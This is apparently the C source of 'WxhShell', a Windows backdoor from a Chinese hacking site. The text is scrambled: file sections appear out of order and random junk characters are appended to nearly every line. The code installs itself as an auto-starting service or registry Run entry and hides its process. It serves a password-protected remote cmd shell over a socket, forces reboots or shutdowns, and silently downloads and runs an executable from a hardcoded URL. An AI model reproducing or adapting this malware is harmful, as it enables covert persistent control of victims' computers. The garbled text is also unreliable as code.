    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Gl5O`w(  
    else { d '\ ^S}  
    closesocket(wsh); 0 gR_1~3  
    ExitThread(0); S }qGf%  
    } rA}mp]  
    break; k+~2 vmS  
    } (,b\"Q  
  // 获取shell f6 s .xQ  
  case 's': { @T J  
    CmdShell(wsh); w!-MMT4y  
    closesocket(wsh); C9*[/|T  
    ExitThread(0); ,h<x Y>  
    break; pUa\YO1J  
  } Y++n0sK5<  
  // 退出 ll*Ez"  
  case 'x': { }:(;mW8 D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z>)lp$  
    CloseIt(wsh); `nY.&YT  
    break; >X*Y jv:r  
    } \{v-Xe&d^  
  // 离开 lv+: `   
  case 'q': { Adgfo)X5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^DVryeLD  
    closesocket(wsh); e$E>6Ngsr  
    WSACleanup(); jwSPLq%  
    exit(1); ,.0B0Y-X  
    break; `uC^"R(m  
        } ^fmuBe}d{  
  } W)8Pq9Hnv  
  } G!o6Y:1!  
I@TH^8(  
  // 提示信息 N1"p ;czK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M>xT\  
} @^GI :z  
  } s\p 1EL(  
_%#Uh#7P$  
  return; pJuD+v  
} [~c_Aa+6N  
v# e*RI2}  
// shell模块句柄 +.zX?}  
int CmdShell(SOCKET sock) 1 hD(l6tG@  
{ gw^W6v  
STARTUPINFO si; q *kLi~ Oe  
ZeroMemory(&si,sizeof(si)); 9FPqd8(]*V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2#N?WlYw<S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &MPlSIg  
PROCESS_INFORMATION ProcessInfo; E<7$!P=z`  
char cmdline[]="cmd"; 9Ais)Wy%p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2sp4Mm  
  return 0; -)xl?IB%  
} (p] S  
rV} 5&N*c  
// 自身启动模式 iJ @p:  
int StartFromService(void) ,C|{_4  
{ _9q byhS7  
typedef struct uh% J  
{ fYpJ2y-sA  
  DWORD ExitStatus; { ft |*  
  DWORD PebBaseAddress; | GN/{KH]  
  DWORD AffinityMask; 'p@m`)Z  
  DWORD BasePriority; )0g!lCfb  
  ULONG UniqueProcessId; `gyk e2n  
  ULONG InheritedFromUniqueProcessId; /F6"uZSt4  
}   PROCESS_BASIC_INFORMATION; 5K-,k^T}  
.zTkOk L  
PROCNTQSIP NtQueryInformationProcess; Fk9]u^j  
f4&;l|R0a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yYSoJqj Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DQ9aq.;  
?cn`N|   
  HANDLE             hProcess; o-JB,^TE  
  PROCESS_BASIC_INFORMATION pbi; h B_p  
_>;{+XRX[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XVb9)a  
  if(NULL == hInst ) return 0; L-9;"]d~|  
+ej5C:El_}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z ?F`)}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 57O|e/2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IZ87Px>zL  
wQ[!~>A  
  if (!NtQueryInformationProcess) return 0; y]+[o1]-c  
{fjBa,o #  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); | g1Cs  
  if(!hProcess) return 0; KZa6*,, s  
(!qfd Qq#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C6h[L  
%LD(S*>7  
  CloseHandle(hProcess); mn*}U R  
PZO.$'L|7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %oWG"u  
if(hProcess==NULL) return 0; y&bZai8WlE  
e+:X%a4\  
HMODULE hMod; v#`>  
char procName[255]; TK%q}bK,  
unsigned long cbNeeded; Y88N*axDW.  
g"kET]KP"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q laoa)d#  
rBi6AM/  
  CloseHandle(hProcess); K\zb+  
} E[vW  
if(strstr(procName,"services")) return 1; // 以服务启动  dvz6  
3\{\ al   
  return 0; // 注册表启动 Zg0nsNA   
} V?mk*CU  
4mtO"'|  
// 主模块 ?$uEN_1O\@  
int StartWxhshell(LPSTR lpCmdLine) ] w0Y5H "  
{ R(,m!  
  SOCKET wsl; 4'`H H  
BOOL val=TRUE; (`4&Y-  
  int port=0; W~a|AU8]C  
  struct sockaddr_in door;  WFhppi   
9W_mSum  
  if(wscfg.ws_autoins) Install(); qnnRS  
94|ZY}8|f  
port=atoi(lpCmdLine); [_(uz,'  
BUV4L5(  
if(port<=0) port=wscfg.ws_port; % 4t?X  
N U+PG`Vb  
  WSADATA data; QDVSFGwr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X.FoX  
~4O3~Y_+GN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hl] y):  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e@S$[,8  
  door.sin_family = AF_INET; 33wVP}e5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MPn/"Fij$  
  door.sin_port = htons(port); +$xw0)|  
7i'clB9!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &4 #%xg  
closesocket(wsl); cIa`pU,6A  
return 1; t F 7u-  
} _[i.)8$7  
dw!Xt@,[g{  
  if(listen(wsl,2) == INVALID_SOCKET) { @ &rf?:  
closesocket(wsl); -AU'1iRcK7  
return 1; QMmZvz\^  
} aBQ@n  
  Wxhshell(wsl); qn{4AWmJ  
  WSACleanup(); zAvI f  
@<X[,Mj  
return 0; ,fN <I  
ZNpC& "`G  
} A$n.'*gK  
3)9e-@  
// 以NT服务方式启动 !'IZr{Y>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Da!vGr  
{ q8.Z7ux  
DWORD   status = 0; 8 nqF i  
  DWORD   specificError = 0xfffffff; qJO6m-  
%e)vl[:}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y,EF'Ot  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +JY8"a97>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UV av^<_  
  serviceStatus.dwWin32ExitCode     = 0; (Q ^=^s|  
  serviceStatus.dwServiceSpecificExitCode = 0; w5rtYT I  
  serviceStatus.dwCheckPoint       = 0; 6c27X/'Z  
  serviceStatus.dwWaitHint       = 0; 2PUB@B' +  
[;4ak)!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $sZ4r>-  
  if (hServiceStatusHandle==0) return; Z#[%JUYp'  
+ZGH  
status = GetLastError(); k6GQH@y!  
  if (status!=NO_ERROR) xDSiTp=)O  
{ 0;,Y_61  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;=E}PbZt2  
    serviceStatus.dwCheckPoint       = 0; HZS.%+2  
    serviceStatus.dwWaitHint       = 0; m!!;CbPo  
    serviceStatus.dwWin32ExitCode     = status; 6 b?K-)kL  
    serviceStatus.dwServiceSpecificExitCode = specificError; C8YStT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t6kLZ  
    return; TiZ MY:^  
  } k`]76C7  
Zy{hYHQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _ouZd.  
  serviceStatus.dwCheckPoint       = 0; 8wZ $Hq  
  serviceStatus.dwWaitHint       = 0; w^n&S=E E~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =knLkbiq7,  
} gkq~0/  
&e#pL`N  
// 处理NT服务事件,比如:启动、停止 $Fy~xMA8O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G&MO(r}B  
{ Z![#Uz.z  
switch(fdwControl) aHI~@  
{ I")Ud?v0)  
case SERVICE_CONTROL_STOP: NwQ$gDgu t  
  serviceStatus.dwWin32ExitCode = 0; 3UZ_1nY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4`cfFowK~  
  serviceStatus.dwCheckPoint   = 0; {ehYE^%N  
  serviceStatus.dwWaitHint     = 0; NNTrH\SU #  
  { t\!5$P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RZSEcRlN  
  } QJ>=a./  
  return; cIkA ~F  
case SERVICE_CONTROL_PAUSE: UYQ@ub  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /X#OX 8gb]  
  break; I\rjw$V#  
case SERVICE_CONTROL_CONTINUE: 9ao?\]&t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6& hiW]Adm  
  break; 7Wiwnv_"  
case SERVICE_CONTROL_INTERROGATE: O8rd*+  
  break; |Xd& aQ  
}; 8^^ehaxy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P9Eh, j0_  
} 3+:NX6Ewb*  
~)X;z"y%b  
// 标准应用程序主函数 sk~7"v{Y.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -XkjO$=!=  
{ = 1d$x:  
Et}%sdS  
// 获取操作系统版本  #.Ly  
OsIsNt=GetOsVer(); '=Jz}F <  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >qGWDCKr  
20`XklV  
  // 从命令行安装 L]BTX]  
  if(strpbrk(lpCmdLine,"iI")) Install(); >SYOtzg%  
P>x88M  
  // 下载执行文件 7ruWmy;j  
if(wscfg.ws_downexe) { _n4`mL8>kH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c\tw#;\9  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ls.g\Gl3  
} /8hjs{(;  
V2tA!II-s  
if(!OsIsNt) { p!?7;  
// 如果时win9x,隐藏进程并且设置为注册表启动 oW(8bd)  
HideProc(); [`KQ \4u  
StartWxhshell(lpCmdLine); tEibxE  
} G`;mSq6i  
else F%{z E ANm  
  if(StartFromService()) U^-J_ yq  
  // 以服务方式启动 wjOqCF"  
  StartServiceCtrlDispatcher(DispatchTable); y4!fu<[i  
else o5Knot)Oy  
  // 普通方式启动 [r'hX#  
  StartWxhshell(lpCmdLine); x0TE+rf5   
soKR*gJ,  
return 0; a{?>F&vnU  
} (ueH@A"9;  
Tm~jYgJ  
pBQ[lPCY/  
_F8-4  
=========================================== :b#5 cMUe  
~n/:a  
~ r$I&8  
_qQo}|/q  
:n x;~f  
SBw'z(U  
" otP2qAI  
)S_ %Ip  
#include <stdio.h> )MX%DQw  
#include <string.h> %U1HvmyK  
#include <windows.h> Ja@ ?.gW  
#include <winsock2.h> C|QJQ@bj0  
#include <winsvc.h> :+ "JPF4X  
#include <urlmon.h> A+3=OBpkW0  
O9{A)b!HB  
#pragma comment (lib, "Ws2_32.lib") 8R;E+B{  
#pragma comment (lib, "urlmon.lib") ^AUQsRA7PZ  
#`"B YFV[E  
#define MAX_USER   100 // 最大客户端连接数 ;:Kc{B.s  
#define BUF_SOCK   200 // sock buffer q93V'[)F  
#define KEY_BUFF   255 // 输入 buffer i{J[;rV9  
>>=v`}  
#define REBOOT     0   // 重启 .3 ^*_  
#define SHUTDOWN   1   // 关机 q#Ik3 5  
Yc(lY N  
#define DEF_PORT   5000 // 监听端口 _ `7[}M~  
#P1 ;*m  
#define REG_LEN     16   // 注册表键长度 YeF'r.Y  
#define SVC_LEN     80   // NT服务名长度 .+^o{b  
<R#:K7> O  
// 从dll定义API wKz*)C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8[8U49V9(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jqoU;u`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U(:t$SBKy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F0Z cV>j}  
mOYXd,xd  
// wxhshell配置信息 9x9E+DG#(  
struct WSCFG { +Pn`AV1  
  int ws_port;         // 监听端口 Gs}lw'pK  
  char ws_passstr[REG_LEN]; // 口令 jg3['hTJT  
  int ws_autoins;       // 安装标记, 1=yes 0=no a\I`:RO=<Z  
  char ws_regname[REG_LEN]; // 注册表键名  q0\$wI  
  char ws_svcname[REG_LEN]; // 服务名 9Mv4=k^7|4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9893{}\cB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +T7FG_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .>( qZEF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E95VR?nUg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]m^ECA$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .MRLA G  
iWn7vv/t  
}; It^_?oiK  
F=kiYa}  
// default Wxhshell configuration ;nf}O87~  
struct WSCFG wscfg={DEF_PORT, JhB$s  
    "xuhuanlingzhe", h6(L22Hn  
    1, .O.fD  
    "Wxhshell", WJ]g7!Ks  
    "Wxhshell", :#W>lq@H  
            "WxhShell Service", 83"C~xe?p4  
    "Wrsky Windows CmdShell Service", hM`*- +Zb  
    "Please Input Your Password: ", 5{8,+ Z  
  1, <NMOs"NB  
  "http://www.wrsky.com/wxhshell.exe", UgLJV2M6  
  "Wxhshell.exe" Xec U&  
    }; _Hq)mF  
gr$H?|n l  
// 消息定义模块 )i>T\B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DZ|/#- k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3bB%@^<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gH/k}M7tA#  
char *msg_ws_ext="\n\rExit."; ) $I"LyK)  
char *msg_ws_end="\n\rQuit."; ~bJ*LM?wOP  
char *msg_ws_boot="\n\rReboot..."; gJBk&SDgtP  
char *msg_ws_poff="\n\rShutdown..."; R )e^H  
char *msg_ws_down="\n\rSave to "; 885 ,3AdA  
22m'+3I~Y  
char *msg_ws_err="\n\rErr!"; 2E3x=  
char *msg_ws_ok="\n\rOK!"; y]f| U-f:~  
ZbcpE~<a  
char ExeFile[MAX_PATH]; cY*lsBo  
int nUser = 0; J7rfHhz  
HANDLE handles[MAX_USER]; cV)~%e/  
int OsIsNt; &]/.=J  
<3Hu(Jx<O  
SERVICE_STATUS       serviceStatus; iD9hqiX&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aD3Q-a[  
ZpY"P6  
// 函数声明 rk(0w|zR+  
int Install(void); FKB)o7  
int Uninstall(void); >pA9'KWs]  
int DownloadFile(char *sURL, SOCKET wsh); ]qc2jut"  
int Boot(int flag); b; 4;WtBO  
void HideProc(void); `{I-E5 x  
int GetOsVer(void); .c.#V:XZ#U  
int Wxhshell(SOCKET wsl); ;rH@>VrR  
void TalkWithClient(void *cs); pF"IDC  
int CmdShell(SOCKET sock); 2]*2b{gF,  
int StartFromService(void); DavG=kvd  
int StartWxhshell(LPSTR lpCmdLine); NASRr  
)Hy|K1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pc%_:>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1 {V*(=Tp  
xTL"%'|  
// 数据结构和表定义 SLc'1{  
SERVICE_TABLE_ENTRY DispatchTable[] = }KHdlhD  
{ -gV'z5  
{wscfg.ws_svcname, NTServiceMain}, W;C41>^?/  
{NULL, NULL} ",T-'>h$2R  
}; 1jozM"H7Q  
<tg>1,C  
// 自我安装 %/&?t`%H  
int Install(void) &6 L{1  
{ r 6STc,%5  
  char svExeFile[MAX_PATH]; +d736lLe%  
  HKEY key; Sc*O_c3D  
  strcpy(svExeFile,ExeFile); ~dK)U*Q  
IPnbR)[%  
// 如果是win9x系统,修改注册表设为自启动 OsR4oT  
if(!OsIsNt) { fW4N+2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fz8eL:i:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cf0D q~G  
  RegCloseKey(key); HIi 5kv]}|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O=St}B\!m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L%JmdY;  
  RegCloseKey(key); &a p{|>3  
  return 0; j>Htaa  
    } ^1S(6'a#  
  }  P-QZ=dm  
} ]W%<<S  
else { ?c^0%Op  
2@aVoqrq#  
// 如果是NT以上系统,安装为系统服务 K/jC>4/c/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {@oYMO~  
if (schSCManager!=0) amIG9:-1'  
{ v >71 ?te  
  SC_HANDLE schService = CreateService @D rMaTr  
  ( /E@|  
  schSCManager, $R7n1  
  wscfg.ws_svcname, ?8n`4yO0  
  wscfg.ws_svcdisp, nrMm](Y45  
  SERVICE_ALL_ACCESS, D EL#MD!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *#,wV  
  SERVICE_AUTO_START, Jx@3zl  
  SERVICE_ERROR_NORMAL, .4~n|d>z  
  svExeFile, \0m[Ch}~ey  
  NULL, 70L{u+wIy  
  NULL, </|IgN$w`  
  NULL,  `' 5(4j  
  NULL, T'l >$6  
  NULL ^~2GhveBV  
  ); 0t1WvW  
  if (schService!=0) W@1Nit-R  
  { ?*a:f"vQ  
  CloseServiceHandle(schService); @U(D&_H,K  
  CloseServiceHandle(schSCManager); J]~LmSh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R$=UJ}>  
  strcat(svExeFile,wscfg.ws_svcname); w Maib3Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EOjo>w>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k9.2*+vvg  
  RegCloseKey(key); |jniI(  
  return 0; Uax- z  
    } }Z- ]m  
  } hd.^ZD7  
  CloseServiceHandle(schSCManager); Be+vC=\K  
} aO?(ZL  
} 7%9Sz5z  
{SW}S_  
return 1; Ym5q#f)|  
} 3ADT Yt".  
` IiAtS  
// 自我卸载 _YY:}'+  
int Uninstall(void) *?K3jy{  
{ hp!UW  
  HKEY key; )W~w72j-  
# &o3[.)9  
if(!OsIsNt) { !L+*.k:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |Z<NM#1  
  RegDeleteValue(key,wscfg.ws_regname); `(?E-~#'  
  RegCloseKey(key); a 1Qg&s<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UjwA06  
  RegDeleteValue(key,wscfg.ws_regname); Bhl@\Kq  
  RegCloseKey(key); o-B9r+N  
  return 0; IDb|J%e^P  
  } ,YJ\ $?  
} &+=A;Y)  
} EUU9JnQhBJ  
else { C+$dm)M/q  
iK1<4)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1K&z64Q5J  
if (schSCManager!=0) V4}9f5FR  
{ RX%*:lXi_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !MNUp(:  
  if (schService!=0) w%)=`'s_  
  { 6|t4\'  
  if(DeleteService(schService)!=0) { BDyOX6  
  CloseServiceHandle(schService); E% Ce/n  
  CloseServiceHandle(schSCManager); nk]jIR y^T  
  return 0; Z +@"  
  } r>sk@[4h  
  CloseServiceHandle(schService); @!&\Z[",  
  } \ aQBzEX  
  CloseServiceHandle(schSCManager); ]L%qfy4  
} Q2iS0#  
} aHe/MucK  
,2/qQD n/  
return 1; a1B_w#?8  
} 0n|op:]BHM  
FJgr=9>  
// 从指定url下载文件 &Jv j@,>$d  
int DownloadFile(char *sURL, SOCKET wsh) wX" 6 S:  
{ 5zX;/n~  
  HRESULT hr; /i$E|[  
char seps[]= "/"; _`|Hk2O  
char *token; |AW[4Yn>  
char *file; gX5I`mm  
char myURL[MAX_PATH]; dU\,>3tG  
char myFILE[MAX_PATH]; V6?ku6k  
xWD=",0+  
strcpy(myURL,sURL); wj9CL1Gx  
  token=strtok(myURL,seps);  qm&}^S  
  while(token!=NULL) gYfN ?A*`_  
  { v_"p)4&'  
    file=token; \zw0*;&U  
  token=strtok(NULL,seps); {3]g3mj  
  } hWwh`Vw%  
1+v&SU  
GetCurrentDirectory(MAX_PATH,myFILE); C 2Fklp6  
strcat(myFILE, "\\"); Z!60n{T79c  
strcat(myFILE, file); Tk9u+;=6$  
  send(wsh,myFILE,strlen(myFILE),0); 2cr~/,YY  
send(wsh,"...",3,0); ^[Cpu_]D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R_:47.qq  
  if(hr==S_OK) a33}CVG-e3  
return 0; <Vm+Lt9  
else 2?58=i%b  
return 1; tzJdUZJ  
\,i9m9;y  
} /<vbv  
3:X3n\z  
// 系统电源模块 m+||t  
int Boot(int flag) >xws  
{ nellN}jYsM  
  HANDLE hToken; ByoSwQ  
  TOKEN_PRIVILEGES tkp; }(z[ rZ  
6 uW?xB9  
  if(OsIsNt) { N%%2!Z#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;ajCnSmR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '{p/F $  
    tkp.PrivilegeCount = 1; j1%o+#df  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }20 Q`?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); os|8/[gT  
if(flag==REBOOT) { YwyP+S r\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,y>,?6:>  
  return 0; I3]-$  
} G < Z)y#  
else { bO>q`%&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^EWkJW,Yc  
  return 0; :#1{c^i%3  
} z$$ E7i  
  } 9{@[ l!]W  
  else { m.e+S,i  
if(flag==REBOOT) { O-y/K2MC*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0B#9CxU%  
  return 0; Y m=ihQ|  
} 2jV.\C k  
else { losm<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [Hw  
  return 0; rXc-V},az8  
} QE*O~Yj  
} 16ahU$@-  
~A2{$C  
return 1; =B<>H$  
} r:lv[/ D  
iz!E1(z(  
// win9x进程隐藏模块 B/.+&AJw  
void HideProc(void) A&X(\c M  
{ EjW3_ %  
~sT/t1Rp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )zz^RB\p  
  if ( hKernel != NULL ) H6%QM}t  
  { (? j $n?p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8}z]B^?Fy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yH5^EY7rQ  
    FreeLibrary(hKernel); 5S`_q&  
  } =&G<^7  
|b" h+  
return; ]=\vl>W  
} ?3 {&"  
BH6)`0&2*N  
// 获取操作系统版本 qniP`P4E  
int GetOsVer(void) IZ+kw.6e  
{ Tlc3l}B*Z  
  OSVERSIONINFO winfo; CZ* #FY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Agt6G\ n  
  GetVersionEx(&winfo); &J(+XJM%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6/_] |4t  
  return 1; [mwJ*GJ-  
  else 81Ixs Qt  
  return 0; 3SI:su  
} jej|B#?`  
h!.#r*vV  
// 客户端句柄模块 u"eO&Vc  
int Wxhshell(SOCKET wsl) 8w1TX [b  
{ pa4,W!t  
  SOCKET wsh; zY_xJ"/9  
  struct sockaddr_in client; "c5C0 pK0  
  DWORD myID; ZI.;7G@|  
,{DZvif   
  while(nUser<MAX_USER) f}{ lRk  
{ *FhD%><  
  int nSize=sizeof(client); 0kC}qru'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W,<L/ZKJ  
  if(wsh==INVALID_SOCKET) return 1; 4Ufx,]  
?4>uGaU\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #=@H-ZuD7  
if(handles[nUser]==0) + / s2;G  
  closesocket(wsh); rHe*/nN%*  
else [MLJs-*   
  nUser++; >d#oJ?goX  
  } YDh6XD<Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }xhat,9  
Zx$q,Zo<  
  return 0; Gt;@. jY&  
} oVi_X98R  
[4qCW{x._  
// 关闭 socket Xc)V;1  
void CloseIt(SOCKET wsh) %f??O|O3  
{ h M{&if  
closesocket(wsh); 9 {&APxm  
nUser--; ttQX3rmF01  
ExitThread(0); i>=d7'oR  
} "p]Fq,  
Qa*?iD  
// 客户端请求句柄 _D{zB1d\0  
void TalkWithClient(void *cs) WH:[Y7D  
{ fpMnA  
&qR1fbw"  
  SOCKET wsh=(SOCKET)cs; 85;hs  
  char pwd[SVC_LEN]; Jt-s6-2  
  char cmd[KEY_BUFF]; ?t;>]Wo;  
char chr[1]; Xxl>,QUA  
int i,j; )HZUCi/F]  
>R|*FYam  
  while (nUser < MAX_USER) { /JP]5M)   
f1eY2UtWQ  
if(wscfg.ws_passstr) { gkxEy5c[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s=)0y$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1|K>V;C  
  //ZeroMemory(pwd,KEY_BUFF); #$\cRLPg  
      i=0; ;=rMIi  
  while(i<SVC_LEN) { HbQvu@  
#Bo/1G=  
  // 设置超时 lo}[o0X  
  fd_set FdRead; m3|KIUP  
  struct timeval TimeOut; %y@iA91K  
  FD_ZERO(&FdRead); @\~qXz{6J  
  FD_SET(wsh,&FdRead); !A R$JUnX  
  TimeOut.tv_sec=8;  ]J= S\  
  TimeOut.tv_usec=0; C):RE<X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B_f0-nKP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m>po+7"b  
9ICC2%j|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fX.V+.rj  
  pwd=chr[0]; >z=_V|^$  
  if(chr[0]==0xd || chr[0]==0xa) { o;#{N~4[$  
  pwd=0; W@S'mxk#*  
  break; @ mzf(Aq  
  } m~K[+P  
  i++; HSt|Ua.c/h  
    } kBPFk t2  
m7:E7 3:  
  // 如果是非法用户,关闭 socket Salu[)+?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %}z/_QZ  
} xP@VK!sc  
` eB-C//  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1[k~*QS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mwuFXu/  
)9,*s !)9  
while(1) { 2>{_O?UN  
\L#BAB6z  
  ZeroMemory(cmd,KEY_BUFF); Q@3.0Hf|{  
wf7<#jIq  
      // 自动支持客户端 telnet标准   `[+9n2j  
  j=0;  ]Ll <  
  while(j<KEY_BUFF) { Q]*YIb~D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C,C=W]G  
  cmd[j]=chr[0]; +uPN+CgQ@  
  if(chr[0]==0xa || chr[0]==0xd) { Z_%}pe39B  
  cmd[j]=0; DSwF }  
  break; h]Zc&&+8{  
  } $s2-O!P?  
  j++; Q*TxjE7K  
    } D3^[OHi~a  
h;vD"!gP  
  // 下载文件 N0s)Nao4  
  if(strstr(cmd,"http://")) { vcB +h;x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &`rV{%N"  
  if(DownloadFile(cmd,wsh)) -`e=u<Y9@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v{rc5 ]\R  
  else "?j|;p@!>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Kl78w:  
  } c ;3bX6RD*  
  else { -X@;"0v  
oeXNb4; 4  
    switch(cmd[0]) { >J=x";,D|~  
